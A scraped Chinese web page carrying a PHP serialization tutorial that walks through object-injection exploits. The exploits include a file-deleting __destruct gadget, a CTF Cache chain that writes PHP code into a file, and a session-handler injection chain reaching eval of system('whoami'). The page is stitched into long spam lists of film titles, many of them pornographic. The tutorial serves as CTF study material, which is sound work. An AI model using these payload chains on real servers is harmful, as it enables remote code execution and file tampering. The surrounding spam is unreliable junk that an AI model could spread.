1. 圣石小子粤语,别样幸福全集,箭在弦上大结局,我想打死你,星光灿烂猪八戒,菲律宾美人鱼50集国语,神探夏洛克 第四季,市委书记晚上不打招呼调研被拦

      簡單分析PHP中序列化用法介紹

      時間:2024-08-15 18:02:59 PHP

      簡單分析PHP中序列化用法介紹

        序列化在我們學習php中都會有用到了對于序列化我們常用的函數有serialize和unserialize了,希望以下這篇文章能夠幫助到各位了解到PHP中序列化用法,具體如下:

        0x00 序列化函數

        serialize():返回帶有變量類型和值的字符串

        unserialize():想要將已序列化的字符串變回 PHP 的值

        測試代碼:

        <?php

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $a  = $a;

        $this->b = $b;

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $a = 'hello';

        $b = 123;

        $c = false;

        $d = new test('helloa','hellob','helloc');

        $e = new test1('hello');

        var_dump(serialize($a));

        var_dump(serialize($b));

        var_dump(serialize($c));

        var_dump(serialize($d));

        var_dump(serialize($e));

        ?>

        運行結果:

        string 's:5:"hello";' (length=12)

        string 'i:123;' (length=6)

        string 'b:0;' (length=4)

        string 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' (length=46)

        string 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' (length=46)

        序列化字符串格式: 變量類型:變量長度:變量內容 。

        如果序列化的是一個對象,序列化字符串格式為:

        變量類型:類名長度:類名:屬性數量:{屬性類型:屬性名長度:屬性名;屬性值類型:屬性值長度:屬性值內容}

        將上述結果反序列化輸出,執行結果:

        string 'hello' (length=5)

        int 123

        boolean false

        object(test)[1]

        public 'a' => null

        public 'b' => string 'hellob' (length=6)

        object(test1)[1]

        public 'a' => string 'hello' (length=5)

        public 'b' => null

        0x01 對象序列化

        當序列化對象時,PHP 將在序列動作之前調用該對象的成員函數 sleep()。這樣就允許對象在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢復對象時, 將調用 wakeup()成員函數。

        在serialize()函數執行時,會先檢查類中是否定義了 sleep()函數,如果存在,則首先調用 sleep()函數,如果不存在,就保留序列字符串中的所有屬性。

        在unserialize()函數執行時,會先檢查是否定義了 wakeup()函數。如果 wakeup()存在,將執行__wakeup()函數,會使變量被重新賦值。

        serialize()測試代碼:

        <?php

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $this->a  = $a;

        $this->b = $b;

        }

        function __sleep(){

        echo "b has changed"."\n";

        $this->b = 'hib';

        return $this->b;

        }

        function __wakeup(){

        echo "a has changed"."\n";

        $this->a = 'hia';

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $d = new test('helloa','hellob','helloc');

        $e = new test1('hello');

        serialize($d);

        serialize($e);

        var_dump($d);

        var_dump($e);

        ?>

        執行結果:

        b has changed b has changed

        object(test)[1]

        public 'a' => string 'helloa' (length=6)

        public 'b' => string 'hib' (length=3)

        object(test1)[2]

        public 'a' => string 'hello' (length=5)

        public 'b' => string 'hib' (length=3)

        unserialize()測試代碼:

        class test{

        var $a;

        var $b;

        function __construct($a,$b,$c){

        $this->a  = $a;

        $this->b = $b;

        }

        function __sleep(){

        echo "b has changed"."\n";

        $this->b = 'hib';

        return $this->b;

        }

        function __wakeup(){

        echo "a has changed"."\n";

        $this->a = 'hia';

        }

        }

        class test1 extends test{

        function __construct($a){

        $this->a = $a;

        }

        }

        $d = 'O:4:"test":2:{s:1:"a";N;s:1:"b";s:6:"hellob";}' ;

        $e = 'O:5:"test1":2:{s:1:"a";s:5:"hello";s:1:"b";N;}' ;

        var_dump(unserialize($d));

        var_dump(unserialize($e));

        運行結果:

        a has changed

        object(test)[1]

        public 'a' => string 'hia' (length=3)

        public 'b' => string 'hellob' (length=6)

        a has changed

        object(test1)[1]

        public 'a' => string 'hia' (length=3)

        public 'b' => null

        0x02 PHP序列化的利用

        1、magic函數和序列化

        參考: php對象注入

        除了 sleep()和 wakeup()函數,在序列化時會執行外,還有下面幾種利用方式。

        Class File

        {

        function __construct($var,$file1,$file2){

        $this->var = $var;

        $this->file1 = $file1;

        $this->file2 = $file2;

        echo $this->var.' and '.$this->file1.' and '.$this->file2.'defined';

        }

        function __destruct(){

        unlink(dirname(__FILE__) . '/' . $this->file1);

        echo $this->file1.'deleted';

        }

        function __toString(){

        return file_get_contents($this->file2);

        }

        }

        // $file = new File('hello','123.txt','456.php');

        // var_dump(serialize($file));

        echo unserialize('O:4:"File":3:{s:3:"var";s:5:"hello";s:5:"file1";s:7:"123.txt";s:5:"file2";s:7:"456.php";}');

        ( construct()函數,在實例化一個對象時被調用,一般用來給屬性賦值, destruct()在實例化對象完成后執行,__toString()函數在echo一個對象時被調用)

        construct()函數內定義了三個變量,var這個沒什么暖用,file1和file2,我們在序列化字符串中定義為已經服務器上已經存在的兩個文件123.txt和456.php,destruct()中有一個unlink方法,是刪除file1,__toString()中,讀取file2的內容。

        執行結果:

        123.txtdeleted

        查看源碼:

        <?php  echo 123; ?>123.txtdeleted

        將字符串反序列化后,由于已經對變量賦過值,那么就不會再執行 construct()函數,在 construct()中賦值的變量也是無效的。上述代碼中 destruct()方法在在反序列化后,實例化對象結束后執行了, tostring()函數在echo unserialize()處,也被執行了

        如果說在當前頁面中有request系列函數,那么就可以造成php對象注入:

        http://drops.wooyun.org/papers/4820

        2、三個白帽挑戰賽第三期

        是一道源碼審計題,題目大致是sql注入結合序列化寫入文件

        部分源碼也是在某個大神 博客 看到的(由于我沒有做過題,所以我只截取了和序列化漏洞相關的部分源碼):

        class Cache extends \ArrayObject

        {

        public $path;

        function __construct($path)

        {

        parent::__construct([],\ArrayObject::STD_PROP_LIST | \ArrayObject::ARRAY_AS_PROPS);

        $this->path = $path;

        if(file_exists($path)){

        $this->cache = unserialize(file_get_contents($this->path));

        }

        function offset(){

        //一些不知道干嘛用的代碼

        }

        }

        function __destruct()

        {

        $cache = $this->serialize();

        file_put_contents($this->path, $cache);

        }

        }

        又由于我沒有做過題。。。。所以模擬了這樣一個頁面去實例化:

        include('cache.php');

        $cache = new Cache('path.txt');

        這題好像是這樣的:

        通過SQL注入,可控一個文件,假設可控的是path.txt這個文件(在實際的題目中,SQL注入權限不夠,web目錄下不可寫文件,但其他目錄可寫,已知目錄下有文件md5(username).txt,文件名知道,內容可控),這段代碼的意思是,判斷該文件存在后,讀取文件內容,并且反序列化內容,結束時再經過序列化存進文件中。所以可以在可控文件中構造序列化字符串,改變當前的path屬性為我們想要的目錄。

        path.txt:

        C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}}

        上述字符串是通過輸出serialize(一個實例化的Cache對象)構造的,當__construct()執行時,就會將上述字符串反序列化,此時已經實例化了一個cache對象,而它的path值變成了我們定義的”F:\wamp\www\test\path.php”,并且多了一個cache屬性,值為 <?php echo 123; ?> ,這里的屬性名cache是可以隨意取的,但如果源碼中:

        $cache = $this->serialize();

        變成了:

        $cache = serialize($this->cache);

        那么path.txt中的 "cache";s:18:"<?php echo 123; ?>" ;屬性名就必須和源碼serialize($this->cache)當中的屬性名相同。

        所以,現在服務器上其實有兩個對象,一個是 $cache = new Cache('path.txt'); 定義的$cache,它的path屬性值為path.txt;另一個對象是

        C:5:"Cache":103:{x:i:3;a:0:{};m:a:2:{s:4:"path";s:25:"F:\wamp\www\test\path.php";s:5:"cache";s:18:"<?php echo 123; ?>";}} 被反序列化后的對象,它的path屬性的值為path.php。

        兩個對象實例化結束后,會調用其__destruct()方法,將對象自身序列化,寫入path屬性定義的路徑中。這樣就將包含 <?php echo 123; ?> 的內容寫進了path.php中。

        3、安恒ctf web3

        一道源碼審計題,解題思路是session上傳進度,和session序列化處理器漏洞相結合。

        session上傳進度:

        參考: upload-progress

        當 session.upload_progress.enabled INI 選項開啟時,在一個上傳處理中,在表單中添加一個與INI中設置的 session.upload_progress.name 同名變量時,$_SESSION中就會添加一個保存上傳信息的session值,它的session名是 INI 中定義的 session.upload_progress.prefix 加表單中的post的 session.upload_progress.name

        測試代碼:

        <form action="" method="POST" enctype="multipart/form-data">

        <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />

        <input type="file" name="123123" />

        <input type="submit" />

        </form>

        <?php

        session_start();

        var_dump($_SESSION);

        ?>

        (要查看到上傳session,INI貌似要設置這個session.upload_progress.cleanup = Off)

        session序列化處理器:

        參考: session序列化

        當session.auto_start = 0時:

        兩個腳本注冊 Session 會話時使用的序列化處理器(session.serialize_handler)不同,就會出現安全問題。

        經過測試發現在1.php頁面注冊session.serialize_handler=‘php_serialize’;

        在2.php中注冊session.serialize_handler=‘php’;

        那么在1.php中偽造一個格式為:豎線加上對象序列化后的字符串

        如: |O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

        那么會按照 php 處理器的反序列化格式讀取數據,成功地實例化了該對象。

        反之,如果是從php->php_serialize,是不可行的。

        當session.auto_start = 1時:

        只能注入 PHP 的內置類

        web3 源碼:

        class.php:

        <?php

        class foo1{

        public $varr;

        function __construct(){

        $this->varr = "index.php";

        }

        function __destruct(){

        if(file_exists($this->varr)){

        echo $this->varr;

        }

        echo "這是foo1的析構函數";

        }

        }

        class foo2{

        public $varr;

        public $obj;

        function __construct(){

        $this->varr = '1234567890';

        $this->obj = null;

        }

        function __toString(){

        $this->obj->execute();

        return $this->varr;

        }

        function __desctuct(){

        echo "這是foo2的析構函數";

        }

        }

        class foo3{

        public $varr;

        function execute(){

        eval($this->varr);

        }

        function __desctuct(){

        echo "這是foo3的析構函數";

        }

        }

        ?>

        index.php:

        <?php

        ini_set('session.serialize_handler', 'php');

        require("./sessionTest.php");

        session_start();

        $obj = new foo1();

        $obj->varr = "phpinfo.php";

        ?>

        想辦法讓程序執行foo3的excute()函數,就要通過foo2的 toString(),要執行foo2的 toString()就要通過echo foo2,剛好foo1的__deatruct()有段這樣的代碼 echo $this->varr;

        所以這樣構造:

        include('class.php');

        $t1 = new foo1;

        $t2 = new foo2;

        $t3 = new foo3;

        $t3->varr = "system('whoami');";

        $t2->obj = $t3;

        $t1->varr = $t2;

        $s1 = serialize($t1);

        var_dump($s1);

        構造出這樣一串: O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

        所以構造一個表單,向class.php上傳文件,通過session上傳進度保存的session,來觸發session序列化漏洞,由于INI中設置的序列化處理器為php_serialize,而index.php中將其設置為php,就使得偽造的session被成功地實例化了。

        有兩類不同的插法~

        1、將序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

        session名變成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload會替換整個session值

        2、將序列化字符串插入post內容中

        因為session會存上傳文件的內容和文件名,所以也可以將序列化字符串插入name、filename.文件上傳原本的session值一直到name前面一個參數為止,變成了session名,name參數|后面的payload變成了session值。

      【簡單分析PHP中序列化用法介紹】相關文章:

      簡單介紹php構造函數用法03-15

      php中dirname()和--FILE--常量的用法04-01

      PHP中的排序函數區別分析03-31

      PHP中MySQL、MySQLi和PDO的用法和區別03-10

      PHP對象注入的實例分析03-15

      PHP中curl的使用實例04-01

      PHP中關于類的定義04-01

      php中session的實現原理以及大網站應用應注意的問題分析04-01

      PHP中函數的使用說明03-30

      主站蜘蛛池模板: 《高级女特工满天星》| 夜夜嗨国产精品| 朋友的妈妈电影免费观看| 女版大波唐三藏在线观看| 新还珠格格76| 沧州绝招| 娃娃脸5完整版| 木乃伊1| 现在的是哪一个多闻! ?未删减| 高清《谎言》在线观看| snis-885| 法国电影《女超人》未删减版| 日版情定大饭店| 林妹妹的红楼梦| 爸爸的种子高清免费版| 橘子红了电视剧全集在线观看 | 极品老师第三季免费观看完整版| 向阳花电影在线观看免费版 | 娄艺潇新恋情曝光| 【中文字幕】IPX668新任女教师中出笼城轮姦 白峰美羽 - 色网 | 免费中文在线播放电视剧推荐 | 羽月希在线免费观看视频| 3d豪情字幕下载| 亲爱的热爱的在线观看免费| 大兵的寝室电影叫什么| 介子鬼城| 韩国理论电影| 电视剧妈妈在等你全集免费播放 | 激战后厨5_1| 人民的名义第19集| 乌龙闯情关| 神奇女侠第一季| 剩女的代价2| 泽村レイコ| 爱人韩剧免费观看电视剧| 即墨市| 长空之王在线观看高清免费| 妻子与游泳教练| 琪琪电影网午夜理论片717西瓜| 女版战狼10国语版| 命悬一枪电影| 凯登克罗斯全部电影在线观看 | 璀璨人生下载| 亲爱的客栈2026免费观看| 妈妈的职业8观看全集免费高清| 《夕颜》动漫全集在线观看完整版中| 瓜达卢佩的玫瑰(原版)在线播放| 大槻响作品番号| 钻石王牌| 狙击蝴蝶电视剧在线观看| 杭州杀妻案细节| 电影甜性涩爱| 需要爸爸的播种 中文播放| 怪兽八号| 归去来结局| 新人女职员的诱惑韩国电影在线观看中文字幕 | 出轨的女人国语在线观看| 大唐诡事录2免费观看完整版| 日本一卡二卡三卡四| 阿凡提的故事电影| 纯爱情电影| JUL945丈夫不在| 且试天下第45集全集免费| 三体电视剧剧情介绍| 东成西就2011国语高清| 仙武传在线观看全集免费播放| 莫丽特别酒店| 韩剧疯狂的爱情| 电视剧瞄准在线观看| 木下凛凛子ADN-735电影在线观看| 春草电视剧全集免费观看| 白峰电影在线观看免费版最新上映白 | 河山电视剧| 黯夜守护者| 诱惑佳人| 二人房间荷尔蒙爆发原声一集| 求婚大作战日剧| 《美丽女儿替父亲还债》剧情电影电| 富贵开心鬼电影| 邳州砍刀帮| 17·3电影免费观看高清| 泽连斯基言论惹怒美国民众| 电视剧京城四少| 克莱尔总统之夜全集| 电视剧林师傅在首尔| 丁度.巴拉斯| 财运智多星| bf-597 丈夫不在的四天 中文字幕| 向往的生活第五季在线播放| 激情小说电影网站| 守诚者粤语全集免费观看完整版| 和部长出差的日子在线观看| 韩国三姐妹| 李美淑的电影《偿还》 | 浦城县| 不完美的女人未删减| 海贼战队豪快者剧场版| 铿锵在线观看完整版 | 重生之我能升级最新章节| 我们的歌第五季| 美国伦理蜜桃4| 新的妈妈在线观看电视剧免费高清| 男女做爰猛烈叫床高潮的书| 别墅轮换1攻略| 聊斋艳谭3| 电视剧雾里看花在线观看| 漂亮的瘦子3| 比基尼勇士| 义姐不良妈ova观看渠道 | 灰姑娘的玻璃手机2| 长江七号国语免费观看| 《入室暴行3被蹂躏| 人生电影高清在线观看| 女销售的秘密2| 侏罗纪公园5免费播放| 沁源县| 李嘉诚次子出席重要论坛| 长乐曲在线观看| 《泰山和珍妮丛林》在线观看完整版| 百日蔷薇动漫| 时光正好1-40集完整版| 王李丹妮新片《维修工》叫什么名字| 爱情公寓3第2集| 她来自胡志明市电影| 19岁大学生免费观看真人电视剧| 贾樟柯 世界| 牧神记第39集在线观看视频| 戍天伏魔录| 龙王的工作| 暗夜情报员| 青楼名妓电视剧观看| 高清判处勇者刑未删减| 头文字d电影粤语| 帝女花电视剧| 延禧攻略70集免费播放| 龙南县| 人工少女3完美存档| 马路天使在线观看| 《花子与倔强的驱魔师》在线观看22| 栋笃神探国语高清| 霍比特人2下载| HD版激战丛林| 冯宝宝版杨贵妃| 三体电视剧剧情介绍| 熊出没之怪兽计划3| 《黑暗面》| 女侓师的堕落在线观看| 赶尽杀绝百度影音| 巡回检察组43| 女律师的坠落日本电影全集免费观看 | 化身电影| 怒火重案| 电影终极监狱在线观看| 《落魄贵族琉璃川》免费动漫观看| 韩剧哦亲爱的| 麦迪女超人法版免费观看| 福贵免费在线观看| 韩剧控制老板| 太空部队第二季| 驯服美嫂| 茶杯狐foxcup| 雅典娜 歪歪| 电影《迷犴》全集免费观看| 《马腾你别走》| 刘强东牛津演讲| 庆余年第二季免费观看在线播放| 你旁观的罪 电视剧| 高清《韩国财阀》免费播放| 邻居也疯狂全集在线观看| 流浪记 纪晓君| 黄手帕第2部| 男生和女生在一起愁愁愁电视剧在线观看30 | 孟丽君之再生缘| 我和房东| 超能力者| 漂亮书生免费观看| 播种完整版美国| 总裁的独家私宠全集免费| 电影《女儿闺蜜》完整版| 武动乾坤 起点| 艾回五子| 暴劫倾情| 法国护士长在线免费观看| 漂亮的女邻居2做爰| 法国护士手机在线免费看| 机动奥特曼第一季| 黑白配HD1080电影免费版 | 幸福最晴天 电视剧| 丛林激战| 闯荡30集电视剧免费观看| 猎战狂徒电影| 不惑之旅电视剧免费视频| 无人区豆瓣| 《越南女兵满天星》电影| 中国女足今晚迎战海地| 大宅门里的丫鬟们| 韩女团4l新mv| 电视剧丘比特的圈套| 卖百科全书的女人电影在线观看 | 蜡笔小新免费观看| 朴槿惠被曝身体出现异常| 任达华电影全集国语| 《昆池岩》| 土耳其电影爱上大妈| 爱死机第4季完整版全集在线观看| 回复术士118集真人版剧情介绍| 爱情有点蓝全集下载| 女子护卫队在线观看| 光之美少女系列| 安塞县| 贤妻 影音| 疯狂外星人免费观看完整版国语版 | 台湾古装《原始部落》酋长的女儿叫| 创可贴电影韩国免费观看| 淋巴肉怎么辨别| 剑魔独孤求败全集免费观看国语| 哇嘎电影高清完整视频| 刘大明白改命师全集| 高压监狱1小时43分| 王牌对王牌第九季免费观看完整版| 赌博默示录第三季| 巨茎挺进赵淑芬| JAP69韩国| 法国空姐满天星| 想你21| 与贝拉1980相似的电影| 睡衣小英雄| 动画乐翻天| 超越界限的爱| shkd-595| 早春二月免费| 狗带tV金瓶梅| 决战玄武门电视剧| 猎金游戏电影免费观看| 误杀电影| 三妻四妾免费观看完整版高清,皇家女御厨17.3 | 贝拉电影1980美国版| 姚二嘎吸毒| 你是我的独家意外| 女版西游记大波唐三藏| 风过留痕 电视剧 在线观看| 非诚勿扰加长版| 《村枝》雨晴版| 三客电影| 烽火佳人电视剧全集在线观看| 洗手间的秘密2免费看| 金塔县| 《被下药强辱的妻子》在线播放| 妻子8免费高清完整电视剧情| 乡村小老板:致富带全村全集免费| 美国娃娃脸4(经典版)在线观看| 愈合伴侣 电影| 沙漠行动在线观看免费完整版| 韩国片黄18以上在线观看| 别当欧尼酱了动画第一季免费观看| 纵有疾风起电视剧免费观看全集| 我的盖世英雄| 西游降魔篇粤语高清| 台版1987渔夫荒野史记在线看| 琉璃免费观看电视剧西瓜| 脱裤子打板子| 余男版《狂怒》高清完整版| 进击的巨人5| 天天向上20120127| 盗墓笔记电影全集| 神奇的老皮| 打扑克视频| 藏海传电视剧高清在线观看| 彭丹 蛇王波后| 我爱喵星人免费高清观看完整版| 建水县| 将门嫡女沙场:不输男儿郎短剧全集| 妈妈爱上儿子同学》》 - 日韩字幕手机免费播放 - 雅澜影院 | 异灵灵异 2002国语| 《金牌销售的秘密5》| 星际迷航电影有几部| 今夜无人入睡免费观看第7集| 食物链2大尺寸片段| 郑中基 无赖| 一起愁愁免费高清在线| 南美欧洲超级杯| 萌宝寻爹:妈咪快跑全集免费| 精品国色天香卡一卡二拓卓越的| 小黄飞斯卡拉| 高清《侦察兵》免费观看| 风情万种野玫瑰电影| 《美丽妻子替丈夫还| 和你在一起乔任梁| 坎贝奇无憾免费无删减在线观看| 假面 韩国| 下属的妻子电影| 天地姻缘七仙女高清| 韩国伦理维修工的艳遇| 终结者 2| 《特殊的旅行》韩剧| 有女不愁嫁| 彭水| 欲魔电影完整版在线观看免费| 哈利 波特与死亡圣器(下)| 宫心计国语| 江孜县| 水星魔女| 《需要爸爸播种美国》意大利演员名| 辽宁卫视手机在线直播高清版 | 格丽乔狂飙1080p免费无敌霉运星 一起相愁愁全集免费观看 | 女帝谋全集免费| 办公室糟蹋秘书在线观看| 高清《惊天大贼王》| 插曲的痛在线观看完整版| 七根凶简电视剧在线观看| 爱情公寓19| 勾魂恶梦| 尸气逼人| 大江大河3免费50集电视剧| 美国私人女性监狱完整版观看免费 | 善良的嫂子手机在线观看| 《他是谁》电视剧| 台湾古装酋长的女儿| 第八个嫌疑人| 灵机一触什么意思| 聚会的目的3中字谜给看电影| 高清世外| 爱我几何未删减电影完整版播放免费观看| 贝克街的亡灵| 周弘的《村枝》在线观| 睡美人1999美国版| abo成结模拟| 诺言郭有才歌曲| 色拉拉视频| 百万新娘之爱无悔大结局| 百姓秀才官全集| overflower动漫第一季| 金庸武侠电视连续剧免费观看 | 一生何求完整版| 韩国三级片夫妻交换神马影院| 下海 电视剧| 酋长的女儿电影完整版在线播放| 影音先锋男人qq813| 房奴试爱电视剧开头原声视频| 妻主上我| 代码211| 韩国电影四个已婚妇女去按摩| 张梁胜 非常了得| 密战黑茶山| 黑白配免费版高清在线播放| 长津湖高清完整在线观看| 高清《法利赛人》| 《法国空乘5》在线观看视频| 《交通费》电影| 学生的妈妈5字| 阿凡达3免费完整观看| 秋山莉奈| xl司令| 孟良崮战役电影| 青春期主演| 华豫之门鉴宝| 《示范销售避孕套》剧情介| 圣艾尔摩之火| 另类喊麦词| 美容院5HD| 三生三世十里桃花12集| 《总统夫人》星克莱尔全电影| 小妖精好紧出轨H| 孟良崮战役电影| 消失的厨神| 麦乐迪女超人在线免费| 《修理工的艳遇日本电影| 上海路炒粉| 李恩美电影在线观看| 捕风捉影电影完整版免费观看| 《我的游泳女教练》国产大片 | 大笑江湖电影优酷| 禽兽儿子| (已屏蔽)| 长相思二电视剧在线观看免费版| 撞邪先生| 新金银悔5| 特战荣耀免费观看全集| 韩剧爱在何方| 《女超人(麦乐迪)》在线观看 | 斛珠夫人电视剧免费观看全集| 逃英乱港分子染上奥密克戎| 房屋售楼员在线| 新乌托邦7| 平凡的世界 电视剧| 《需要爸爸播种子》| 甜性涩ai| 安姨在线| 前任攻略4| 仙武帝尊动漫免费观看全集完整版| 我知道你爱我| 新金银悔1—5普通话免费| 私生女逆袭全集免费| 寂寞 谢容儿| xl司令真人版高清| 若宫莉娜| 高清《我有孩子了》电视剧| 余罪第二季迅雷下载 | 进击的巨人大结局| 女教师5完整版| 谁是英雄| 高压监狱3法国电影在线观看完整免费高清原声奔跑吧 | 《明明不是我!》| 金基范段誉| 水浒传新版全集| 女教师动漫全集ova无修| 花便当未删减| 国产5毛特效片| 晚娘1在线观看| 米尼的第一次全集免费观看| 一不小心爱上你剧情简介| 唐诡奇谭在线播放| 恶魔的花嫁| 峰爆 电影| 高压监狱3电影在线观看| 铁道游击队| 欢乐颂5在线观看完整免费版 | 吴亦凡歌曲| 罗曼蒂克消亡史电影未删除完整版| 跟部长出差的日子在线观看| 消失的十一层免费观看| 隋唐演义一共多少集| 莱阳市| 忍不住的继拇中字3 | 新水浒传24集| 等到胜利的那一天| 花千骨电视剧| 欲望之都首页| 禁忌4年转一代中文字母| 猎情武阎| 小沈阳 不差钱| 龚玥菲新金瓶bt种子| 初代奥特曼中文版全集免费观看| 浪漫女教师黛比无删减版| 英剧内政保镖第二季免费观看| 寂寞女医生外3| 善良的嫂子韩剧| 韩剧《好兄弟的妹妹爱上我》| 《美容院特殊待遇》在线| 林家铺子电影| 爱的罗曼史| 大唐豪放女| 《丈夫不在家维修工人上门维修》| 天降女子第一季在线观看免费观看| 法国空乘在线观看完整免费高清原声满天星奔跑吧式叫庆 | 潜行深渊| 被征服后淫堕的妻子电影| 节振国传奇全集| 奥特曼国语全集| 和讨厌的前男友一起去出差在线播放| 篮球宝贝| 妻子的秘密电视剧全集| 回龙观星美影城影讯| 保定女找男| 娃娃脸5完整免费观看| 暴风新娘| 我叫刘跃进| 飞鹰计划国语| 吴健版农民伯伯国语版在线看| 莫言被踢出作协| 美容室.特除服务2| 战狼10高清国语免费观看影视| 高中(hsc1v1)校园宿舍| 追光的日子30集免费观看| 再见妈妈韩剧| 美容店的待遇电影| 妖精的尾巴02| 还好 璀璨人生| 史前巨鳄3| 《需要爸爸种子| 高清左撇子女孩未删减 | 最后之舞| 木下檀子的电影| 野蛮的托姆| 白蛇:缘起电影| 天堂执法者15| 执行秘书电影在线观看| 斗罗大陆155集免费观看完整版| 锦月如歌电视剧36集全| 伦理《法国护士》| 片名《瓜达卢佩的玫瑰》| 我的游泳池工作2| 韩国三级《泳池的秘密》| 黑暗圣经1| 局内人2在线观看| 凌云志志满天星法版观看| 王国第一季在线观看| 评书杨家将刘兰芳| 明月照我心电视剧免费观看| 疯狂试爱荷尔蒙6| 年代秀20120706| 爷傲奈短剧全集免费播放| 三十而立电视剧全集| zzzxxx免费在线观看| 婆媳的战国时代演员表| 部长的夫人的味道电影| 星汉灿烂56集全免费观看| 魔鬼天使高清| 凤随歌电视剧免费观看| 神印王座高清| 乘风破浪的婚姻免费完整版短剧| 日本新金银悔1—5普通话| 韩国男生女生愁愁愁电视剧在线观看| 侄女寄宿在叔叔家电视剧在线观看| 女官升职记:宫女到女相短剧全集| 醉生梦死之湾仔之虎| 新金瓶梅 高清下载| 电影报道| 高压监狱原声满天星2019| 论理电影在线观看| 卯月麻衣种子| vip电视剧免费观看| 最新的鬼片| 龙之谷破晓奇兵| 高清《蜜桃成熟时3》| YOUIJZZZFREE最新| 迈克尔杰克逊高清演唱会| 瓜达卢佩的玫瑰电影在线看免费版| 泰剧破晓之爱国语版| 白峰美羽电影| 街机西游记| 酒店爆操| 白峰美羽教师| 水饺皇后未删减| 昭觉县| 娇妻2在线播放中文| 喀秋莎行动电影完整版免费观看| v酒店第二季电影在线观看| 一代女皇武则天电影版在线观看| 我的老婆是大佬3高清| 《冰之城墙》| 河东狮吼插曲| 男人女人一起愁愁愁电视剧观看在看| 红地毯影城| 黎明前的暗战电视剧| 女子护卫队满天星1973剧情解析| 飞驰人生电视剧| 日本电影《兄妹》的背景故事| 年轻的馊子8| 危险伴侣| 色妻交换| 美国大片国语普通话| 夜班经理 迅雷下载| 诚实好媳妇韩语中文谐音| 《overflower》动漫第一季免费观看全集| 史蒂夫 科尔| xl司令免费全集在线观看 | 伊波拉病毒(国语版)2| 单车电影在线观看| 日军屠杀慰安妇影像| 牧师讲道2024年最新讲道视频| 布兰迪洛夫《不当军事行为》2017免费| 花城电影| 聊斋奇谭2之天宫美人| 《蹂躏》| 周弘的《村枝》在线观| 一女嫁三夫电视剧免费观看| 电视剧《心跳》| 名侦探柯南普通话免费观看| 《家庭矛盾》完整版麦乐迪| 《灭火宝贝(高压监狱)》| 金蝉脱壳电影| 丽塔海华丝| 高晓松怎么了| 我好兄弟的女朋友 | 幸福七人组| 《替夫还债3》高清完整版在线观看中| 军事不当免费观看| 吴邪的私家笔记免费观看| 唐朝诡事录2官宣| 夺冠电影| 《黏糊糊的你正片》电影在线观看免费高清完整版剧情片-飞猪影视 健身房的特殊待遇 | 兵人电影| 狙击之王暗杀在线观看| 产妇大出血院长深夜跨院摇人| 昭通市| 耙怎么读| 女教师白洁张敏玩交换| 日剧公的之浮之手中字免费观看| 我的老公是卧底| 正中下怀的意思| 喝茶影视《部长出差的日子》| 人猿泰山1995在线观看完整版 | 鬼吹灯之精绝古城全集| 曹查理《为卿痴狂》 | 有关黄河的诗歌| 《我和班主任的故事》剧本| 爱你几何完整版| 《新搬来的邻居》日本| 禽流感什么症状| 在黑暗中翻滚| 孩奴全集在线观看40| 新员工2在线观看完整版电影| 电影天堂2018| 雪中悍刀行全集| 教室别恋百度影音| 淫的方程式在线观看| 色拉拉视频在线| 爸爸的3次婚礼| 蝙蝠 韩国| 按摩美女胸部电影| 《731部队》电影完整版| 私人航空在线观看免费完整版| k8s经典全集免费观看| 小城大事免费观看| 冷血动物| 日本之形| 朝夕录电视剧| 即刻上场全集免费观看| 法国空姐3在线播放| 盗花野史| 《四平青年》| 白峰电影在线播放免费播放第19集 | 策驰影院免费| 烟火人家电视剧简介| 长治市| 局长玩寡妇的大乳| 一帘幽梦大结局| 需要爸爸播种2免费在线观看| 千山暮雪续集全集在线观看| 农民伯伯吴健国语版免费观看百度云| 芭比公主之时尚童话| 女超人法国电影未删减版在线观看| 落翅女的黄昏| 韩剧办公室蓝色隐身帽子| 斗破苍穹59在线观看| 《还在相爱吗》| 白夜破晓第二季在线观看免费| 小美人鱼动画片| 电影芳香| v酒店第二季电影在线观看| 我的战争电影| 进击的巨人大结局| 铿锵铿锵铿锵铿锵免费观看| 隋唐英雄68| 玛纳斯县| 登山的目的韩剧| 中华大丈夫电视剧| 愁愁愁电视剧免费观看| 不忠诱惑| 高清抢钱女王团| 私人航空电影在线观看完整版| 电影 上位| 锁定:怒火危崖| 高清今天开始是人类未删减 | 风与潮1-40集剧情介绍| 电视剧使命在线观看| 免费观看(爱我几何)| 地下城与西游记全集| 金门:双方船只碰撞致大陆渔船翻覆| 木子檀檀子剧免费观看第10集| 陆贞传奇18| 意大利八尺夫人未删减版剧情简介| 魔术师与巨人| 缘分五月在线播放| 高压监狱在线观看完整免费高清原声满天星下载| 恶女教师| 世界杯出线规则2022| 中文字Dl幕岳和女胥视频| 《女演员:性试镜》免费观看| 宿敌在线观看| 斯巴达(大人版)HR版| 杉杉来了电视剧全集免费| 凶灵假期| 本源力量| 啄木鸟壮志凌云在线电影完整版观看| 东北2人转| 奥巴马 演讲| 高清亲爱的,别!未删减| 猎犬 第二季| 解密性| 《亮剑》电影| 朋友的妈妈1| 电视剧光荣大地| 唐宫美人天下迅雷下载| 铁探免费在线观看| 《丈夫面前被搬工人欺负的电影》全 | 大嫁风尚免费观看全集完整版高清| 白祙女生手脚被绑TK的微博| 巨胸护士风间由美播放| 吴费曼恭喜吴镇宇金像奖颗粒无收| 御赐小仵作| 春咲千和| 兴海县| 《黏糊糊的你正片》电影在线观看免费高清完整版剧情片-飞猪影视 健身房的特殊待遇 | 北风那个吹在线观看免费完整版| 复仇者联盟什么时候上映| 爱情公寓首映礼| 寂寞护士公与媳| 女飞行员(美国)满天星 | 新上海滩国语| 尖刀班的五天五夜| 卖房子的女销售在线播放| 